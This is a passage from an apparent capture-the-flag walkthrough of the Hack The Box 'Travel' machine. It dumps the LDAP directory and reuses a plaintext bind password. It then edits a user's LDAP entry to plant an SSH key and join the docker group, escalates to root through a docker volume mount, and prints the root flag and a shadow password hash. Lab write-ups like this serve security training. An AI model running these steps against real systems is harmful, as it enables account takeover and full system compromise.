# base <dc=travel,dc=htb> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=
# workstations, travel.htb
dn: ou=workstations,dc=travel,dc=htb
description: Workstations
objectClass: organizationalUnit
ou: workstations
# linux, servers, travel.htb
dn: ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Servers
objectClass: organizationalUnit
ou: linux
# windows, servers, travel.htb
dn: ou=windows,ou=servers,dc=travel,dc=htb
description: Windows Servers
objectClass: organizationalUnit
ou: windows
# users, linux, servers, travel.htb
dn: ou=users,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Users
objectClass: organizationalUnit
ou: users
# groups, linux, servers, travel.htb
dn: ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Groups
objectClass: organizationalUnit
ou: groups
# jane, users, linux, servers, travel.htb
dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jane
cn: Jane Rodriguez
sn: Rodriguez
givenName: Jane
loginShell: /bin/bash
uidNumber: 5005
gidNumber: 5000
homeDirectory: /home/jane
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# brian, users, linux, servers, travel.htb
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: brian
cn: Brian Bell
sn: Bell
givenName: Brian
loginShell: /bin/bash
uidNumber: 5002
gidNumber: 5000
homeDirectory: /home/brian
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# frank, users, linux, servers, travel.htb
dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: frank
cn: Frank Stewart
sn: Stewart
givenName: Frank
loginShell: /bin/bash
uidNumber: 5001
gidNumber: 5000
homeDirectory: /home/frank
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# jerry, users, linux, servers, travel.htb
dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jerry
uidNumber: 5006
homeDirectory: /home/jerry
givenName: Jerry
gidNumber: 5000
sn: Morgan
cn: Jerry Morgan
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# lynik, users, linux, servers, travel.htb
dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: lynik
uidNumber: 5000
homeDirectory: /home/lynik
givenName: Lynik
gidNumber: 5000
sn: Schmidt
cn: Lynik Schmidt
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# edward, users, linux, servers, travel.htb
dn: uid=edward,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: edward
uidNumber: 5009
homeDirectory: /home/edward
givenName: Edward
gidNumber: 5000
sn: Roberts
cn: Edward Roberts
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# eugene, users, linux, servers, travel.htb
dn: uid=eugene,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: eugene
cn: Eugene Scott
sn: Scott
givenName: Eugene
loginShell: /bin/bash
uidNumber: 5008
gidNumber: 5000
homeDirectory: /home/eugene
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# gloria, users, linux, servers, travel.htb
dn: uid=gloria,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: gloria
uidNumber: 5010
homeDirectory: /home/gloria
givenName: Gloria
gidNumber: 5000
sn: Wood
cn: Gloria Wood
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# johnny, users, linux, servers, travel.htb
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# louise, users, linux, servers, travel.htb
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: louise
cn: Louise Griffin
sn: Griffin
givenName: Louise
loginShell: /bin/bash
uidNumber: 5007
gidNumber: 5000
homeDirectory: /home/louise
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# christopher, users, linux, servers, travel.htb
dn: uid=christopher,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: christopher
uidNumber: 5003
homeDirectory: /home/christopher
givenName: Christopher
gidNumber: 5000
sn: Ward
cn: Christopher Ward
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# domainusers, groups, linux, servers, travel.htb
dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup
# search result
search: 2
result: 0 Success
# numResponses: 22
# numEntries: 21
By the way, since the hostname, base & bind dn are specified inside .ldaprc
we
can enter ldapsearch -x -w Theroadlesstraveled
instead of the full command.
It seems our account is LDAP admin so we can configure it.
Let's see interesting groups:
$ cat /etc/group | grep trvl
adm:x:4:syslog,trvl-admin
cdrom:x:24:trvl-admin
sudo:x:27:trvl-admin
dip:x:30:trvl-admin
plugdev:x:46:trvl-admin
lxd:x:116:trvl-admin
trvl-admin:x:1000:
$ cat /etc/group | grep docker
docker:x:117:
Then we can add a key to a user and change it's base groupe to docker & user to
trvl-admin (not required).
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC/yatK67NXLmgt1LepjDbW2b7lE6z7Y8aIlveOGb6Lp48w0X9qTYNtqe7tgXQCN0qbMlhARBekVewayh4XouStOoEz7jeT8v4vL6awy0XwrqA/asj/LNjDOjAVGBtOsnPn9qE4JXsxQLBGlxouETwrZSUh1FMQFSzO77FasFQO8k59XO9cgCYj/b+TjM+IV5S6uSZPlmchmeT3abJjBaE+JHZ3V9wpCcOZ8v/kMEL+2jW4Rc6R7ChuQeZmNbkZxOx+xiJIu/otpMwrLhApG8zQ3Gm2sCWa1Xg1PjzIga4TD11VHoPgaeqTPhML4Y+zx4WUv8zib3Fl3boYapqiHQy0BMM6knfnCCu+gpkurBtJOqr/4rnq2bL/akVWjjPs3SbKdluQiBp6L8ZJ9dLz2JTpV0TsEEelbnYXT0jY13iAU+iZTnAiJJL/suTFuk1jAvIO8sz1wc8oi0BXaITbaUpKQAnkREdR6rJItH/MO9R2GnPKPby9KshKcvn9eL+jBk= noraj@penarch
-
replace: gidNumber
gidNumber: 117
-
replace: uidNumber
uidNumber: 1000
Then we can connect via SSH because the SSHD config is the following:
$ cat /etc/ssh/sshd_config | grep -v '#'
Include /etc/ssh/sshd_config.d/*.conf
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
PasswordAuthentication no
Match User trvl-admin,lynik-admin
PasswordAuthentication yes
$ ssh -i ~/.ssh/id_rsa louise@travel.htb
trvl-admin@travel:/$ id
uid=1000(trvl-admin) gid=117(docker) groups=117(docker),5000(domainusers)
Then let's see images available in docker:
trvl-admin@travel:/$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 602e111c06b6 4 months ago 127MB
memcached latest ac4488374c89 4 months ago 82.3MB
blog latest 4225bf7c5157 4 months ago 981MB
ubuntu 18.04 4e5021d210f6 5 months ago 64.2MB
jwilder/nginx-proxy alpine a7a1c0b44c8a 7 months ago 54.6MB
osixia/openldap latest 4c780dfa5f5e 11 months ago 275M
Now that we are in the docker group it's easy EoP thanks to gtfobins . By the way we can search gtfobins
locally via two CLI tools: gtfo and gtfoblookup .
$ gtfo -b docker
...
# The resulting is a root shell.
Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Type: shell
...
$ gtfoblookup linux shell docker
docker:
shell:
Description: The resulting is a root shell.
Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
trvl-admin@travel:/$ docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt bash
root@d9ba81203eb5:/# id
uid=0(root) gid=0(root) groups=0(root)
root@d9ba81203eb5:/# cat /root/root.txt
189d55aa326f561c68c69a547ba2df0f
root@d9ba81203eb5:/# cat /etc/shadow | grep root
root:$6$p6a8fCN5/L4rm3FA$bwV15SC9j7QwaRwolnptinKydaRp9O3826E8QlFyrVmjxoaIvs6A.Aw7Z/VCRgGXu0cjLYfmznespEhTS8ZUe/:18397:0:99999:7:::